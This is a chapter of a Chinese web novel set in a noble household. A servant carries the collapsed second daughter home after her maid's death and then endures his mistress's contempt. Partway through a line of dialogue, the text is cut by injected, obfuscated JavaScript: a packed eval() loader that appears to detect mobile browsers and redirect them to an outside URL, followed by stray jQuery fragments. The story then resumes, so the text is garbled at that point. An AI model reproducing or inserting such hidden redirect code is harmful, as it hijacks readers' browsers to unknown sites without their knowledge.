陆玉卿用双手扶着怀里人的腋下，他跪下抱着陈榕，若不是刚刚她恰好向陈玉竹在的方向冲过来，他也没法接住她。
这一场闹剧终于渐近尾声，陈夫人望着满院狼藉，向知夏的方向偏了偏头，吩咐小厮：“抬出去吧。”
而后她转向众人，声调不高却字字清晰：“今日之事到此为止，往后陈府之中，我不愿听到半句闲话，都散了吧。”
最后，陈夫人目光落在陆玉卿身上，“既如此，便由你送二小姐回西溪院。”说罢转身回了房。
“呵。”自始至终，陈玉竹只是冷眼旁观，没有说过一句话，此刻却忽然轻轻笑了下，那笑声意味不明，她不等陆玉卿先走，径直带着晴雪离去。
几息后，陆玉卿抱着怀里的人小心地站起身，缓缓朝院外走。
知夏已经被拖走，下人们开始清扫庭院，那刺目的殷红很快便会了无痕迹。
一个丫鬟没了，对这偌大的陈府而言根本算不得什么，或许过不了多久，连方才那流血落泪的一幕也会从人们记忆中淡去。
知秋被嬷嬷们拉开，呆呆地瘫坐在地上，此刻见陈榕被抱走，猛地爬起来冲到陆玉卿身边，“小姐！小姐！”
陈榕在陆玉卿怀里毫无知觉，没法像往常那般及时应她。
“你先去请大夫，就说是大小姐吩咐的，我送二小姐回去。”陆玉卿提醒她。
“啊……好……好……”知秋慌乱地四下张望，六神无主的，直到陆玉卿抱着人出了院子，她才醒过神来，“大夫……请大夫……”
出来是午后，回去时依旧骄阳似火，陆玉卿迎着刺目的阳光，抱着陈榕走在烈日底下，只因即便这样热，他也能感觉到怀中人的身子有多冷。
一路行来，不见什么人影，越近西溪院越甚。
这是陆玉卿头回来西溪院，虽从未来过，但他伺候陈玉竹，曾被专门叮嘱过府中格局，还算清楚。
院门果然没关，可想而知主人出来时有多匆忙，陆玉卿抱着人踏入院中，环顾四周，冒出来的头一个念头只有两个字——简单。
比起沁芳院，这里小了太多，一目了然。正对面便是主屋，紧挨着的是两间侧厢房，另有一间很小的屋子，想来是做书房或者杂物间使用，旁边单独的是小厨房。
院子空空荡荡，只有一张石桌，此外便是一棵极大的槐树，正值枝繁叶茂之时，最粗的枝干上系了一架秋千，安安静静地悬在树荫下。
陆玉卿用脊背抵开主屋的门，窗棂间漏下日光，浮尘在光柱中缓缓游动，他略站了站，目光扫过屋内。
这屋子里不见任何繁复的摆设，一切皆是素净端方的旧物。
床边立着一个红漆长柜，漆色已黯，柜子对面是妆台，台上只有一面铜镜与一方小小的妆匣。靠窗处摆着一张书案，案角搁着一方青石砚。
此外，还有一个书架，不高，却塞得满满当当，书卷层层叠叠地堆着。
陆玉卿的视线从那书架上掠过，却已没有心思去看那上面都是些什么书。这间屋子的主人把卧室和书房合在了一起，或许这屋子里就是她所有的东西了。
他稳步走至床前，极轻地将怀中人放到床榻上，拉过被子盖好，这才惊觉她已经睁开了眼。
陆玉卿不知道她是什么时候清醒的，她安静得近乎死寂，连呼吸都轻微到似有若无，目光定定地望着某一处，整个人像是被抽走了魂魄。
她从方才那番歇斯底里又回到了从前的沉默寡言，可这一次，比以往更多了失望与麻木。
陆玉卿突然挪不动脚步了，他放弃了送她回到西溪院后就离开的想法。
他想，至少等到知秋带着大夫回来。
蹲下身单膝点地，陆玉卿无声地陪着她，她的目光始终没有变化，所以他可以无所顾忌地凝望她的脸。
薄唇人，薄情人。
可刚刚发生的一切似乎又推翻了这句话。
她对自己的丫鬟实在是情深，甚至到了令在场之人都无法理解的地步。
从第一次在这府里见到她开始，每一次碰面，她的所作所为都是那么的与众不同。
“吱呀”的声音传来，有人推开了院门，正往主屋来。
最后看了她一眼，陆玉卿站起身，刚出门，便与带着大夫火急火燎的知秋擦肩而过。
知秋太着急，压根没注意到他，陆玉卿站在门外，直到听到里头大夫的结论后才转身往外走。
刺激过度，无大碍，但需静养。
***
一路走回沁芳院，陆玉卿才发觉自己胳膊与胸前的衣裳上都沾了血迹，连手上也有。
他迟缓地举起双手，翻来覆去地看，看到有些胸闷，他分不清这是知夏的血，还是她的。
他回房换了衣裳，净了手，这才往书房去。
“阿卿回来了？”
陈玉竹本来在写字，听到动静连头都没抬，只出声。
“是。”
“二小姐可送回去了？”她仍然没有抬头。
“已送回去了。”
“很好，阿卿今日反应得倒快。”
没有听到他答话，陈玉竹这才抬起头来，直直地盯着他。
“怎么不说话了？”
“我是在夸你呀，今日若不是阿卿你，二小姐可就摔了。”
陆玉卿不知如何作答，他太过疲惫，只能道：“小姐恕罪。”
“你何罪之有呀？”她拖长了语调，倒
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17516373|203040||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
像真是在夸赞一般。
陆玉卿又是一阵沉默。
“你上前来。”
陆玉卿上前，低头站在她右手边，恰好看见她写的字。
陈玉竹，陈映柳，陈榕。
他盯着这三个名字，顿时又觉那人的特别，别人两个都是对映成双，独她是个单字，为何连名字都那么地格格不入。
“来，把你的名字写下来。”陈玉竹将手中的笔递给他，语气不容拒绝，“我知道你会写字。”
陆玉卿接过，久违的感觉，他提起，一瞬间却不知如何落笔。
“写在这里。”陈玉竹为他指着方向，在空白处，在“陈玉竹”三个字的下方。
陆玉卿一点点将笔尖靠近纸张，停顿了须臾，可真正落了笔却又非常迅速，行云流水，一气呵成。
“阿卿的字真不错，我就知道。”陈玉竹一副很欣赏的样子，她再取了支笔，在纸上临摹他的名字。
“阿卿是不是觉得她很可怜？”
突然间，她问他。
“……”
“小的不明白——”
“我是问，”陈玉竹打断他，“阿卿是不是觉得她很可怜？”
“是不是觉得陈榕，很可怜？”
挑明了的话语，不留一点余地。
陆玉卿站在身后盯着写字的人，这一刻，他透不过气来。
“小的不敢。”
陈玉竹嗤笑一声，“有何不敢的。”
“她是活该。”猛然上扬的嗓音，充满了嘲讽，“为了一个丫鬟，将自己弄成那副模样。”
“都是她自找的，不自量力。”那语气里竟有种恨铁不成钢的情绪在。
陈玉竹说完顿了顿，似乎忘了身边这人也是个下人。
“只有没本事的人，才护不住想护的人。”她最后补了一句。
陆玉卿感到窒息，竭力不让自己发出任何响动，他眼睁睁看着陈玉竹握笔，在纸上划掉了陈榕与陈映柳的名字。
***
这一场变故，除了在意之人，陈府上下并没有人放在心上，华丽高贵的尚书府不缺一个小小的丫鬟，一切又恢复了原有的秩序。
或许，应该说是从未变过。
西溪院又成了陈府里无人问津的地方，闭门谢客，再没有人出来。
府里知情的下人们私下里都传，说那位冷冰冰的二小姐受了大刺激，如今又疯癫了，被关在西溪院里，毕竟她那日的模样实在令人印象深刻。
大概是可怜陈榕那日拼死相护的狠劲，火化完知夏的尸身后，陈夫人竟然差人将知夏的骨灰送回了西溪院。
一个完完整整的人，成了装在小小坛子里的一捧灰，一切终成定局。